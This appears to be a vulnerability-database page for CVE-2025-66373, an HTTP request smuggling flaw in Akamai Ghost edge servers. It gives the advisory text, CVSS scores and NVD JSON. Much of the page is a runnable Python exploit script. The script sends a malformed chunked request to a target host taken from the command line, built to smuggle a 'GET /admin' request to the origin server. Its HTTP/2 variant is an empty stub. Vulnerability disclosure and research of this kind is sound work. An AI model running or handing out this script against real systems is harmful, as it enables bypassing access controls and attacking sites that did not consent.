Security Vulnerability Report
中文
CVE-2025-66373 CVSS 4.8 MEDIUM

CVE-2025-66373

Published: 2025-12-04 17:15:57
Last Modified: 2025-12-16 20:58:59

Description

Akamai Ghost on Akamai CDN edge servers before 2025-11-17 has a chunked request body processing error that can result in HTTP request smuggling. When Akamai Ghost receives an invalid chunked body that includes a chunk size different from the actual size of the following chunk data, under certain circumstances, Akamai Ghost erroneously forwards the invalid request and subsequent superfluous bytes to the origin server. An attacker could hide a smuggled request in these superfluous bytes. Whether this is exploitable depends on the origin server's behavior and how it processes the invalid request it receives from Akamai Ghost.

CVSS Details

CVSS Score
4.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:akamai:akamaighost:*:*:*:*:*:*:*:* - VULNERABLE
Akamai Ghost (Akamai CDN edge servers) < 2025-11-17

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-66373 PoC: Akamai Ghost HTTP Request Smuggling via Malformed Chunked Body Reference: https://www.akamai.com/blog/security/cve-2025-66373-http-request-smuggling-chunked-body Description: When Akamai Ghost receives an invalid chunked body where the chunk size differs from the actual chunk data size, it may forward the invalid request and trailing bytes to the origin server, enabling HTTP request smuggling. Usage: python3 cve-2025-66373-poc.py <target_url> """ import sys import socket import time def send_smuggled_request(target_host, target_port=80, use_https=False): """ Sends a malformed chunked request that exploits the Akamai Ghost request smuggling vulnerability. The trick: chunk size (0x10 = 16) does NOT match actual data length (5 bytes 'AAAAA'). The trailing 'GET /admin HTTP/1.1\r\nHost: target\r\n\r\n' gets forwarded as a separate smuggled request to the origin. """ # Malformed chunked body - size says 16 bytes but only 5 bytes of data follow # The extra bytes after 'AAAAA' will be treated as a new request by the origin smuggled_suffix = ( "GET /admin HTTP/1.1\r\n" "Host: target\r\n" "\r\n" ) # Construct the malicious request payload = ( "POST /api/upload HTTP/1.1\r\n" "Host: {host}\r\n" "Transfer-Encoding: chunked\r\n" "Content-Type: application/octet-stream\r\n" "\r\n" # Chunk size declares 16 (0x10) bytes, but only 5 bytes 'AAAAA' are sent "10\r\n" "AAAAA" # Only 5 bytes instead of declared 16 + smuggled_suffix + # These bytes are forwarded as smuggled request "0\r\n\r\n" ).format(host=target_host) print("[*] Sending malicious chunked request...") print("[*] Chunk size declares 16 bytes but only 5 bytes 'AAAAA' sent") print("[*] Trailing bytes will be forwarded as smuggled request to origin") print("-" * 60) try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) if use_https: import ssl context = ssl.create_default_context() sock = context.wrap_socket(sock, server_hostname=target_host) sock.settimeout(10) sock.connect((target_host, target_port)) sock.sendall(payload.encode('utf-8')) print("[+] Malicious request sent successfully") # Try to receive response from the first (valid-looking) request try: response = sock.recv(4096) print("[*] Received response for primary request") except socket.timeout: print("[*] No response for primary request (may be dropped)") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False def send_http2_smuggled_request(target_host, target_port=443): """ HTTP/2 variant using h2c (cleartext) - demonstrates smuggling via HTTP/2 request that gets forwarded as HTTP/1.1 to origin. """ # This PoC targets the chunked body smuggling vector # In practice, the attacker sends through Akamai edge, which forwards # the malformed chunked body to the origin server print("[*] HTTP/2 smuggling variant - requires h2c upgrade") print("[*] Same chunked body technique applies") # Note: Full HTTP/2 implementation requires hyper/h2 libraries # This demonstrates the concept for demonstration purposes pass if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python3 {sys.argv[0]} <target_host> [port]") print(f"Example: python3 {sys.argv[0]} www.target.com 80") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 use_https = port == 443 print(f"[*] CVE-2025-66373 PoC - Akamai Ghost HTTP Request Smuggling") print(f"[*] Target: {target}:{port}") print() send_smuggled_request(target, port, use_https) print() print("[*] Note: This PoC sends a malformed chunked request.") print("[*] The actual exploitation requires the request to pass through") print("[*] a vulnerable Akamai CDN edge server before reaching the origin.") print("[*] Impact depends on origin server behavior with invalid chunked data.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66373", "sourceIdentifier": "[email protected]", "published": "2025-12-04T17:15:56.867", "lastModified": "2025-12-16T20:58:58.663", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Akamai Ghost on Akamai CDN edge servers before 2025-11-17 has a chunked request body processing error that can result in HTTP request smuggling. When Akamai Ghost receives an invalid chunked body that includes a chunk size different from the actual size of the following chunk data, under certain circumstances, Akamai Ghost erroneously forwards the invalid request and subsequent superfluous bytes to the origin server. An attacker could hide a smuggled request in these superfluous bytes. Whether this is exploitable depends on the origin server's behavior and how it processes the invalid request it receives from Akamai Ghost."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-444"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:akamai:akamaighost:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025-11-17", "matchCriteriaId": "EFD32023-12EE-4659-A1D5-ECA304F4EE92"}]}]}], "references": [{"url": "https://en.wikipedia.org/wiki/HTTP_request_smuggling", "source": "[email protected]", "tags": ["Technical Description"]}, {"url": "https://www.akamai.com/blog/security/cve-2025-66373-http-request-smuggling-chunked-body-size", "source": "[email protected]", "tags": ["Vendor Advisory", "Mitigation"]}]}}